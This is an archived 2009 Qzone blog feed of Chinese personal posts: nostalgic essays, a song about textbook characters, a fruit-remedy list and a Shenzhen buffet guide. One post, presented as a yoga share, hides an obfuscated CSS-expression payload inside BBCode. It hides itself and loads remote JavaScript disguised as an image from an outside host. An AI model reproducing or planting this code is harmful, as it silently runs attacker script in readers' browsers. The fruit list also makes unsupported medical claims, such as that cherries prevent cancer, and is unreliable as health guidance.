http://77715674.qzone.qq.com Sun, 29 Nov 2009 07:18:45 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sat, 28 Nov 2009 16:42:39 GMT http://77715674.qzone.qq.com/blog/1259426559 ]]> http://77715674.qzone.qq.com/blog/1259426559#comment 142610944 Sat, 28 Nov 2009 16:42:39 GMT http://77715674.qzone.qq.com/blog/1259426559 http://77715674.qzone.qq.com/blog/1258275270 孔子，名仲尼——Johnny；

曹操，字孟德——McDonald；

杜甫，字子美——Jimmy；

韩愈，号昌黎——Charlie；

狄仁杰——Roger；

苏轼——Susan；

王安石，字介甫——Jeff；

唐寅——Tony；

李世民 —— Simon；

李白 字太白 —— T-bag


桀: JACK；

汤: TOM；

纣: JILL；

姜太公 吕尚:LOUIS JEAN(法文)；

刘邦: LOUIS BOND；

汉武帝: WOODY；

乾隆 弘历: RONNY；

孟子，名轲，英文名：Micheal，希腊名：孟修斯；

李煜—Levis；

蒋中正，字介石——Jason；

马英九——Angel；

韩乔生——Johnson；

来自：http://zishuo.com/2009/09/17/485.html ]]> http://77715674.qzone.qq.com/blog/1258275270#comment 134218248 Sun, 15 Nov 2009 08:54:30 GMT http://77715674.qzone.qq.com/blog/1258275270 http://77715674.qzone.qq.com/blog/1258255305 ------------这久违的冷空气

去找了几首阿杜的歌来听
试着找寻些许只属于当年的感觉

冷瑟瑟的风擦着脸刮过
厚厚的冬装
一直揣在口袋的手
暖暖的蒸汽从卖肉夹馍的小摊升腾起来
19岁的我们
听着阿杜的歌
走过属于大学的第二个冬天

这个貌似已近销声匿迹的歌手
却很幸运地留在了我们的记忆中

至少在回忆当时的时候
我只记得他的歌。。。。。。

真是久违了！

]]> http://77715674.qzone.qq.com/blog/1258255305#comment 142606848 Sun, 15 Nov 2009 03:21:45 GMT http://77715674.qzone.qq.com/blog/1258255305 http://77715674.qzone.qq.com/blog/1257779833 ●莲雾：解热、利尿、宁静神经作用。
●凤梨：对人体组织有强壮作用，可治消化不良、食欲不振出汗过多（须抹盐）。

●枣子：治便秘、利尿、益胃生津。

●荔枝：补血、健肺、促进血液循环、心脏衰弱者可多食（已燥热者不宜多吃）。

●龙眼：有壮阳益气、补益心脾、养血安神、润肤美容等多种功效，可治疗贫血、心悸、失眠、健忘、神经衰弱及病后、产后身体虚弱等症。

●甘蔗：甘凉解渴、清热、和中下气、润肠、利尿、补充体力、解酒、润喉消口臭、牙齿杂秽。

●苹果：治下痢、降血脂、滋润皮肤。

●梨：清解热毒、镇咳化痰。

●桃：清津味甘，多食易消化不良。

●柿：泻血、便秘。

●人参果：解暑清热，增体力。

●柠檬：可增强消化、出汗过多、食欲不振、体力倦怠、减肥解酒。

●柚子：清燥热、通便、消口臭、解酒。

●橘子：性寒、可解热、化痰、防便秘、生津止渴、擦皮肤有止痛、消炎之效，美容之效。

●橘柑：解热、利尿、祛痰、防便秘、生津。

●葡萄柚：可生津止渴、消暑、消除疲劳、降血压、助消化、美容、润肤减肥。

●桑椹：可调节消化、治胃病、便秘、老枝煎水饮用可通血气止痛预防风寒病。叶煎水加冰糖或黑糖当茶喝，可清肺热、胃肠、利尿、消肿、除痰。

●枇杷：膏可止咳化痰。

●芒果：可治疗晕车、船、呕吐。熟果肉可敷火伤、开水烫伤，止痛消炎。

●木瓜：除黑斑、雀斑，助消化、治溃疡。

●橄榄：能止渴，加盐的能醒酒、止呕。煎茶水可治热燥病。口干唇燥、痰多可常嚼食，可排除食积开胃止泻。

●香蕉：助消化防便秘、清肺。

●杨桃：清沙哑、喉痛，生津止渴、顺气、润肺、去风热、利尿。

●百香果：清肠、开胃、生津止渴，除腻。

●葡萄：可补气、养血、美容、利尿、安胎气。

●李子：解酒、醒脑。

●梅子：健胃、生津、杀虫、解呕、解酒。

●苹婆：苹婆营养丰富，含蛋白质、粗纤维、维他命A、维他命B、磷、钙等。多在煮熟后食用，由于所含的热量极高，所以对于瘦弱、食欲不振的人来说，无疑是补充体力的最佳果品。

●仙桃：除暑热、甘凉润肺、散结通肠。

●草莓：清血、利尿。

●无花果：解百毒、止痢、治便秘、痔疮。

●樱桃：预防感冒、癌症。

●西瓜：解热、利尿、排毒、消暑、通便。

●哈蜜瓜：解热、止渴、净血液、利尿、解躁。

●波罗蜜：止渴、利尿、清热、醒酒、补中。

●酪梨：有养颜、防止动脉硬化之效。

●椰子：解热防暑、止吐、消水肿，椰肉可开胃、温中、补血。

●猕猴桃：解热燥、利尿、止渴、通便。

●蕃茄：预防高血压、动脉硬化、贫血、肝脏病及肠胃病。可消暑、清热、助消化。汁液洗脸能消除小皱纹。

●杨梅：具有消食、御寒、消暑、止泻、利尿、治痢疾以及生津上渴、清肠胃、除烦愤恶气



生什么病.吃什么水果
　　贫血:葡萄.桔子．蕃茄．苹果．草莓．樱桃
　　胆固醇过高：山竹．核桃
　　高血压：香蕉．西瓜．葡萄．蕃茄．核桃．柿子．桃子
　　动脉硬化：苹果．鳄梨．核桃．蕃茄．香蕉
　　中风：苹果．柿子．凤梨．奇异果
　　心脏病：苹果．猕猴桃．梨子．西瓜．凤梨．核桃．香蕉
　　呼吸系统．气管．肺部疾病
　　支气管炎：葡萄．苹果．樱桃．梨子．．柿子
　　哮喘：葡萄．桃子
　　肺结核：梨子．桃子．枇杷．木瓜
　　消化系统．肠胃．肝脏疾病
　　胃炎：苹果．葡萄
　　肠炎：凤梨．香蕉．苹果．葡萄．蕃茄．石榴
　　腹泻：苹果.杨梅
　　胃痛：木瓜
　　消化不良：梨子．草莓．
　　痔疮：苹果．柿子．桃子．香蕉．无花果
　　肝病：草莓．李子．苹果．葡萄．香蕉
　　泌尿系统疾病
　　膀胱炎：西瓜．桃子
　　尿道结石：西瓜．猕猴桃
　　尿失禁：桃子．李子
　　尿道炎：桃子．葡萄
　　内分泌失调．鳄犁．苹果．猕猴桃．葡萄．桃子．香瓜．木瓜
　　眼．耳．喉疾病：木瓜
　 声音嘶哑：葡萄．枇杷
　　夜盲症：木瓜
　　骨骼．关节，皮肤疾病：葡萄．枇杷
　　手术快愈合：草莓
　　背痛：猕猴桃．西瓜．梨子．柑橘
　　腰痛：桃子
　　痛风：猕猴桃．风梨
　　关节炎：葡萄．枇杷
　　跌打伤：木瓜
　　皮肤病：木瓜．草莓．苹果．核桃
　　口腔发炎：梨子．橘子．石榴
　　牙齿疾病：草莓．橘子．李子
　　其它
　　感冒：草莓．芒果．凤梨．枇杷．拧檬
　　孕妇止吐：梨子．苹果．柿子
　　孕妇产后恢复：苹果．核桃
　　增加体力．防老化：苹果．香蕉．胡桃
　　胃口不加：葡萄
　　促进成长：苹果．梨子．香蕉．草莓．香瓜．西瓜 。
]]> http://77715674.qzone.qq.com/blog/1257779833#comment 134218249 Mon, 09 Nov 2009 15:17:13 GMT http://77715674.qzone.qq.com/blog/1257779833 http://77715674.qzone.qq.com/blog/1257654649
一切从那本英语书开始的
那书中的男孩Li Lei
　　身边的女孩名叫Han Meimei
　　还有Jim Lily 和 Lucy
　　Kite Lin Tao和 Uncle Wang
　　一只会说话的鹦鹉叫Polly他到处飞
　　
　　好多年没有再一次翻开它
　　但那一段说的谁和谁
　　偶尔还能细细回味
　　书中他们的喜与悲
　　书外身后的是与非
　　还有隐隐约约和我
　　一起长大的小暧昧
　　
　　后来听说Li Lei和Han Meimei
　　谁也未能牵着谁的手
　　Lucy回国 Lily去了上海
　　身边还有了那么多男朋友
　　Jim做了汽车公司经理
　　娶了中国太太衣食无忧
　　Li Tao当了警察
　　Uncle Wang他去年退了休
　　
　　有点遗憾Li Lei和Han Meimei
　　谁也未能牵着谁的手
　　一样的是我们都有了个
　　当初不曾遥想的以后
　　还好Polly它还活着
　　就像我们当年的小美好
　　他永远都不会老
　　在心底不会飞走
　　
　　要是早点知道这些故事……估计我英语就不会这么烂了。。。



Hello, I'm LiLei.
What's your name？
Hello,my name is HanMeiMei.
Nice to meet you.
Nice to meet you too.







]]> http://77715674.qzone.qq.com/blog/1257654649#comment 142610963 Sun, 08 Nov 2009 04:30:49 GMT http://77715674.qzone.qq.com/blog/1257654649 http://77715674.qzone.qq.com/blog/1257418034 转战长沙大作战火热进行中
路途是艰辛的
情节是曲折的
憧憬是美好的
希望是满怀的
机会是少之又少的
打击是随处可见的
承受失落是自愿的
重新振作是必须的

努力~努力~努力
坚决向鱿鱼同学学习！


就给我个机会吧。。。


]]> http://77715674.qzone.qq.com/blog/1257418034#comment 142606848 Thu, 05 Nov 2009 10:47:14 GMT http://77715674.qzone.qq.com/blog/1257418034 http://77715674.qzone.qq.com/blog/1257089471 作为女孩子要时时刻刻打起精神
身体要好好保养
生活要提高质量
工作要提高效率才能保证有更多的物质和时间来完成前两项

总是觉得时间很不够用
想做的很多事情都来不及做
一天一天就这么过去了

不知道从什么时候开始
很后悔为什么之前花费了那么多的时间在抱怨和幻想上
那些无法改变我现状的行为。。。

作为女孩子
即使你是衣食无忧的大小姐
哪怕你是全世界最富有的人
随着时光消逝
有些无耐的改变是必须接受的
总有想回忆的
总有想留住的
总有想一直拥有的

到那时当你发现
如果当初你能多些时间是打起精神的
如果当初你能多为自己付出些努力
现在你的状态或许会更好
那种后悔的感觉应该很糟糕吧
特别是当时间已经剥夺了你挽回的权利

如果在回忆过去的时候没有丝毫的后悔
我想是最完美的人生
但这是不可能的
没有不完美的过去就没有追求完美的动力

好在现在意识到还不算晚
我给自己的目标就是
当我30岁的时候会对我20岁时的努力打个及格（学生期间的分数太差，加上这几年的表现充其量刚好及格吧）
当我40岁的时候会对我30岁时的努力打个70分
当我50岁的时候会对我40岁时的努力打个80分
当我60岁的时候会对我50岁时的努力打个90分
当我70岁的时候会对我60岁时的努力打个100分
之后如果还有时间我都要做100分

不要以为退休之后就不用努力了
完全错误的想法
女生的一生都是要一直努力的
年纪越大需要努力的会越来越多

从现在起
我给了自己将近半个世纪的时间来做到令自己满意
应该够宽松了吧

每个人都希望有美好的晚年
钱财，权力，地位，爱慕者在70岁之后对一个人有多重要呢
如果在70岁之后还能有健康的身体，美好的回忆
最重要的是对自己的满足感
那么晚年会过得十分完美

从现在起养成督促自己的好习惯
时刻打起精神面对每个挑战
说不定有意想不到精彩的未来在等待。。。
从不完美到完美的人生需要自己坚持不懈的演绎

]]> http://77715674.qzone.qq.com/blog/1257089471#comment 142606848 Sun, 01 Nov 2009 15:31:11 GMT http://77715674.qzone.qq.com/blog/1257089471 http://77715674.qzone.qq.com/blog/1254824687 据考，自助餐的真正起源是八至十一世纪北欧的斯堪的纳维亚半岛，那时的海盗们每有所猎获的时候，就要由海盗头头出面，大宴群盗，以示庆贺。但海盗们不熟悉也不习惯当时中西欧吃西餐的繁文缛节，于是便独出心裁，发明了这种自己到餐台上自选、自取食品及饮料的吃法。自助餐是一种现代都会人最喜欢的集体行为，因可省略许多点菜的麻烦，还有配菜的心思礼让的虚套，更重要的是合算，出一个价钱，在最短时间和有限空间可尝尽各式美食，因此更是越来越受到美食爱好者的青睐，在这里，让小编带你去搜罗深圳的美味自助餐吧！
　　1、领鲜自助餐





　　现时自助餐越来越风行，香港稻香集团旗下品牌“领鲜”环球自助餐更是成为大家追逐的主角。“领鲜”网罗环球美食精髓，以超实惠价钱，提供星级酒店水准的佳肴，让好寻访各式美食的老饕大快朵颐。
　　午餐和夜宵“98元/位”，晚餐“138元/位”。有来自日本、泰国、欧陆和中式风格菜式，品种超过300种，汇集了“中、日、泰各类餐食以及各类甜品和酒水”，每份含一枚金币，金币可以用于在6道主菜内任选1道享用（有时是4选一）。

“领鲜”成为深圳提供多元化国际美食集中营。室内环境设计时尚舒适，店内有美食数百款，座位近千，中日泰西样样皆齐。周一至周五入场时购票，午餐98元，小孩68元。这里汇集了中丶日丶泰各类餐食以及各类甜品和酒水，品种很多。分为冷盘丶热餐丶甜品丶酒水饮料等区域。提供开放式环球自助餐饮服务，迎合现时流行创新饮食概念，满足客人多元化口味。　　这里还别出心裁推出“鲜之金币”超值美食，每位客人入场时均可获发一枚金币，于餐厅内凭金币即可换取一款重量级美食佳肴，包括足一两半的竹笙鸡炖翅、日式金龙卷、原只海皇龙虾汤等，让客人倍感超值滋味。





海鲜区域：虾、螺、贝、蟹应有尽有







龙虾，海鲜和水果的绝妙搭配。








甜品区域：巧克力、蛋糕、奶茶、奶昔没有你想不到的。









酒水饮料区域：红黄蓝绿间，隐藏着多少妩媚故事。








草莓：女孩子的最爱，她天生就是属于我们的。



　　网友经历：上周公司一班同事中午去领鲜去自助餐，虽然不是周末，人可真不少。食品种类丰富，有中、日、泰各类食品以及各类甜品，酒水，水果等，比起彭年的自助餐都要好很多。
吃得饱到上心口，吃了一小部分食物，后来只能动眼不动口和手了。吃完之后还有雪糕和很多种茶选择，总之非常超值，提醒大家去之前一定要定位，否则要排长队哦！

　　详细地址：罗湖区友谊路57号友谊城B座6楼（金光华广场后友谊城6楼）
　　营业时间：11：30——2：30
　　公交线路：大巴:1、2、7、8路，还有:14A、103、206、211、307、413、417、418、424路
　2、阳光酒店
　　生蚝
　　人均消费：98元（注意：98元是阳光酒店每周三、六、日的半价自助餐。）
　　吃庐山酒店的全价自助餐就不如吃阳光酒店的半价划算了。阳光二楼的自助餐厅比较小（当然环境要好一点），要想去的话最好赶早，要不然座位就被预订了。
　　阳光酒店中菜不多，但海鲜、甜品和西点确实让人难忘。阳光自助餐是一个半开放的餐吧，迎面是一个巨大的甜品和沙拉台，许多叫不上名字的东西都做得很漂亮。刺身档也比较正规，除了三文鱼和生蚝，还有地道的寿司和牛扒，其潮式冻红蟹的规格也不同凡响，另外有时还有一些东南亚风格的小吃。阳光自助餐厅的服务员觉得这个半价是全市最超值的，因为对百姓而言一般该有的都有了，也有档次了，同时还省钱－这也是推荐的原因。如果想尝试更高档次的自助餐，未必要吃阳光的全价，那就不如去富苑酒店了。富苑的自助餐是168元，差不多还是这些东西，但更精致，环境一流，人也少，安静。

详细地址： 深圳市嘉宾路1号阳光酒店二楼
交通线路： 14路A，14路B，17，2
联系电话： 82233888-5003
营业时间： 07:00-10:00 11:30-14:00 18:00-21:00
客 容 量： 100个餐位,0个包房 3、新樱亭日式料理烧烤自助餐
　　海上世界是个风光旖旎的地方，在露天的舒适餐厅里喝个啤酒，吃着独具特色的泡菜火锅，嚼着中国第一牛－－秦川牛肉，确实很爽．


　　新樱亭日式料理烧烤自助餐，位于蛇口海上世界广场80号，一个室内室外兼备的餐厅，非常值得一吃。
　　地址：蛇口海上世界广场80号
　　咨询电话：26828068　　　　　　
　　人均消费：78元
　　味道指数：★★★★
　　价格指数：★★★★
　　环境指数：★★★★
　　风味指数：★★★★

房网特别优惠：只要在餐厅现场说是房网网友，男士将获赠扎啤一杯，女士将获赠鲜扎果汁一杯。

餐馆老板诚恳地希望光临过的网友提出批评意见，凡是跟帖给出批评意见的，奖励精美礼物一份。

号称中国第一牛的秦川牛肉

4、凯威啤酒屋




　　荷兰肥牛
　　人均消费：38元
　　凯威啤酒屋兴起于江城武汉，但做成气候却是在外省。深圳这一家也有一段历史了。人气颇旺，地方宽敞，再热闹也不会让人觉得拥挤。
　　凯威啤酒屋有两大特色，一个是啤酒，另一个就是肥牛。凯威啤酒系自酿鲜啤，根据客人的不同口味，酿酒师分别酿制了红啤、黄啤、果啤、黑啤四个品种，深受食客们的青睐。另一特色就是荷兰肥牛火锅，采用分餐制，一人一锅，卫生健康，据说是祖传秘方加上十八种名贵滋补品熬制的火锅料汤，具有消化理气、滋阴壮阳的功能。凯威使用的肥牛原料从荷兰引进，经过特殊处理后食之肥而不腻，尤其适应火锅烹制。凯威啤酒屋美食品种很多，美食爱好者可以自己自由发挥。想来个鸡煲、鱼煲、海鲜煲都可以，斋煲当然也没问题！
　　地址：福田区新洲家乐福2楼
　　联系电话： 88291390
　　交通线路： 202,303,372,317
　　营业时间： 10：00－23：00
　　客 容 量： 100个餐位,0个包房　　5、登品素食府




　　百灵菇
　　人均消费：中午38元晚上58元
　　如果你是一个整天充满“肉欲”的食肉性的家伙，那你看到这里就可以打住了！因为这里是素食者的天堂！58元自助，包含火锅，菜品很丰富，还有美禄、雀巢冰爽茶、冰淇淋，水果也很丰富。每天的菜品不同，“香辣炸鸡腿”是各种芋类或蘑菇粉制的，绝对不是荤的，越吃越觉得神奇，口感很筋道，味道也很好，关键是用素菜制成荤菜，色香味都像，就很有意思了。另外海苔包着的苜蓿芽也很不错！还有各式各样的家常菜，比如木须肉、凉菜等等，“荤”的素的都有。最大的乐趣莫过于仔细的品“荤”菜里面的“肉”，然后感觉和真肉的差别，说实话，豆制品制成的“荤”菜，无论怎么吃总还是觉得怪怪的，但是58元一位，如此丰盛的自助、如此幽静清香的环境、如此热忱的服务，还怎么好意思说不值呢！？
南山店：地址：南山区南头滨海大道西端1号岁宝百货万象店二楼
　　 线路： K115、K204、K105
　　 电话： 26455630
　　6、京都自助火锅




　　京都自助火锅
　　人均消费：19元
　　走出东门地铁站，“19元，京都自助火锅”八个大字便映入眼帘。东门可是深圳女孩子逛街的首选地方，放眼望去，各式服装、化妆品、小玩意琳琅满目，街边小吃也是三步一亭五步一岗，但时下这秋风乍起的日子里，逛累了可以有个地方歇歇脚，一边悠闲地在热乎乎的火锅汤里涮各种美味，一边跟闺中密友交流血拼收获，那是多么惬意的事情！而19元一位的京都自助火锅就是这么一个让人无法抗拒的选择！
　　自助火锅，在振华路兰光大厦三楼也有一家，价格也是28元，但不知为什么总是不肯把东西摆出来，让顾客看菜单点菜，想吃什么一样一样地端给你。这样就不叫“自助”了，看不见，拿不着，毫无乐趣可言。
　　东门这一家，其实不是真正的28元，因为锅底是另算的，20元一锅。如果你是一个人的话，那就变成了48元，如果两个人就是38元，依次类推，人越多越便宜。这里除了火锅之外，还有很不错的凉菜和卤菜，生果有哈密瓜，最有号召力的是珠江啤酒和汽水任饮。对于吃火锅而言，冰冻啤酒可是必不可少的。
　　涮火锅的生菜估计有二十多种，一般该有的都有了，蘸料也有多种选择，既有川式油碟也有京式涮羊肉的味碟。
　　地址：罗湖区东门金城大厦二楼
　　交通线路： 101，102，103，11，203，206
　　联系电话： 82395550
　　营业时间： 11：00-23：00
　　客 容 量： 20-30个餐位,0个包房　　　　7、元太祖烤肉




　　招牌烤肉
　　人均消费：42元
　　“元太祖”在振华路兰光大厦旁边，很多人都知道的一家店子。“元太祖”是火烤两吃，就是既有火锅还有烤肉。除了有老北京式的炙子烤肉（由师傅烤好了夹在烧饼里吃），“元太祖”的火锅是两用的，火锅下面有一道平板的铁槽，浇上油可当韩式烧烤用，烤肥牛、羊肉片、黄喉片、毛肚等非常有滋味。老食客的经验是，汤锅里涮羊肉，烧烤吃肥牛和黄喉，这几样就齐了。另外，粤菜、潮州菜、客家菜、川菜、湘菜、淮扬菜、京菜、东北菜、陕西风味、面点、生果、甜品、点心、咖啡都有，并有专门的调料台，各种酱汁、红油、青头齐全，可供“有志之士”大展身手。
　　地址：福田区振华路兰光大厦C座一楼

9.万德诺富特酒店自助西餐厅

中午自助餐是66，晚上99元有龙虾火锅。

位于深圳市深南中路万德诺富特酒店二楼的自助餐厅,设计充满欧陆格调,环境幽雅,气氛浪漫,特色自助午、晚餐，尽展各地美食。最近推出的环球美食自助晚餐，有挪威三文鱼、苏格兰生蚝、日本八爪鱼、龙虾、天妇罗等上百种美食。在冬季还会推出海鲜自助火锅，采用日本涮涮锅的吃法,即一人一锅,卫生精致.除上述之外,还有时令海鲜数十种,让人大块朵颐,不忍停口。用餐之余，还可远观深南路繁华的夜景，尽享都市闲情逸致。典雅的氛围，精致的佳肴，带来迥然不同的美食新感受。可同时容纳100人用餐。

地 址：深圳市福田区深南中路1019号万德大厦二楼
电 话： 0755-82137999-8220
10 .四海一家的自助餐
　　详细地址：深圳南山区深南大道9028号-1益田广场L3层（地铁1号线世界之窗站A出口）

　　对面是世界之窗，旁边是威尼斯酒店

　　订座电话：0755-89829988

　　消费价格：周一~周五中午118元/位，周六日中午138元/位

　　　　　　　周一~周四夜晚158元/位，周五六日夜晚178元/位网友体验心得：
　　深圳的四海一家开左了，本来对于我来讲真系遥不可及啊，不过今次好正啊，有得去试食，而且仲要一日食了午晚两餐，下午时间又可以系益田广场（类似正佳的Mall，都好多牌子）果度window shopping


　　铁板档口，叫姐姐帮我烤几块牛仔骨，好快就行了，那个肥美哇！下面还有可以烤的东西，鱼类也很多，见右上角木牌所示　　这家四海一家同番禺的四海一家区别不大，都是自助餐厅，不过就建在购物商场里面，对面就是世界之窗，旁边就是欢乐谷，以后去玩完都可以去食餐劲的了。据说在周六日夜晚，还可以一边吃一边欣赏对面世界之窗的璀璨烟花呢！价钱方面（希望无记错），周一~周五中午118元/位，周六日中午138元/位，周一~周四夜晚158元/位，周五六日夜晚178元/位，比广州的贵了少少，但相信深圳人大把人消费得起的了！当然了，夜晚比中午更丰富，例如多了鹅肝、大闸蟹（看时令）、鲍汁鹅掌、炭烧牛扒、甜品更多品种等，以上有些是位上的。而番禺四海一家有的东西，这里基本上都有。据说四海一家目前已变成深圳最高档也消费最高的自助餐厅（酒店除外）了，但听说“包租公”还嫌他们的价钱开得低呢！真是晕啊！


沙律档口不错，有差不多十款不同的沙律供应，旁边这个海鲜木瓜沙律也很正
　　其实昨天我连续在这里食了2餐，我还是食不完所有的品种，当然我最中意的刺身、生蚝就食了很多很多，特别推荐炭烧牛扒，肥美啊，还有烧牛仔骨也是，肥的好吃！而在刺身档口附近的冻蟹和虾也十分新鲜，很正啊！还有通场走的阿猜奶茶档口，只要他路过你的座位，你可以叫他为你拉上一杯美味拉茶啊！最搞笑他的粤语比好多人都强，地道到不行！后来晚上去舀冬阴功汤，又见到他，他还跟我们说“要咁多，因住会辣喔！”哈哈~


中间的烤箱很有海盗船feel，这里能烤pizza、肉类等，熟食档口的东西，我都无暇顾及呢　　在深圳分店，我食得很舒服，因为刺身档口、炭烧生蚝档口，都几乎没有人排队，我可以大摇大摆地过去风卷残云，嘻嘻！可能当地人都更喜欢食熟食吧~~~益左我地啦，哈哈！最后别忘记食个哈根达斯雪糕球啊，凭票噶，推荐夏威夷果云呢拿风味，正正正！其实……我食了3个，嘻嘻！当然都系要多谢Lily姐~~~


特别order来的刺身拼盘，当然要有face的客人才能order的了，否则就自己去外面挑吧　　P.S.当然最好先订位，这里有所不同的是进场先结账，其实更科学啦。生日优惠变成4位免1位（广州系3免1），当月星座依然有八折。


补充一下：
1、世界之窗对面“四海一家”自助餐非常不错，很完美，是我认为深圳最实在的一家自助餐。
2、水贝一路有家“无穷花”韩国料理烤肉自助餐干净而且好吃。
3、上海宾馆后有家“酋长”烤肉自助餐也超级不错。
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]]> http://77715674.qzone.qq.com/blog/1254824687#comment 135266313 Tue, 06 Oct 2009 10:24:47 GMT http://77715674.qzone.qq.com/blog/1254824687 http://77715674.qzone.qq.com/blog/1254824406 好不容易发现的好东东

大家一齐练瑜珈啦！^.^

















[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://77715674.qzone.qq.com/blog/1254824406#comment 135266825 Tue, 06 Oct 2009 10:20:06 GMT http://77715674.qzone.qq.com/blog/1254824406 http://77715674.qzone.qq.com/blog/1249307291 我想有个家
一个不需要华丽的地方
在我疲倦的时候
我会想到它
我想有个家
一个不需要多大的地方
在我受惊吓的时候
我才不会害怕


谁不会想要家
我也想要拥有它
我好羡慕她
受伤后可以回自己家
而我还在卖力攒钱争取建造一个家

还好一路都有亲人相伴
在遥远的故里有让我牵挂的家
还好有老公相伴
在灯火阑珊处也有家的温暖
还好有好友相伴
让我的世界一直都没有寒冷的冬季

默默地
我将一直努力
让我尽快拥有一个属于自己的家


]]> http://77715674.qzone.qq.com/blog/1249307291#comment 142606848 Mon, 03 Aug 2009 13:48:11 GMT http://77715674.qzone.qq.com/blog/1249307291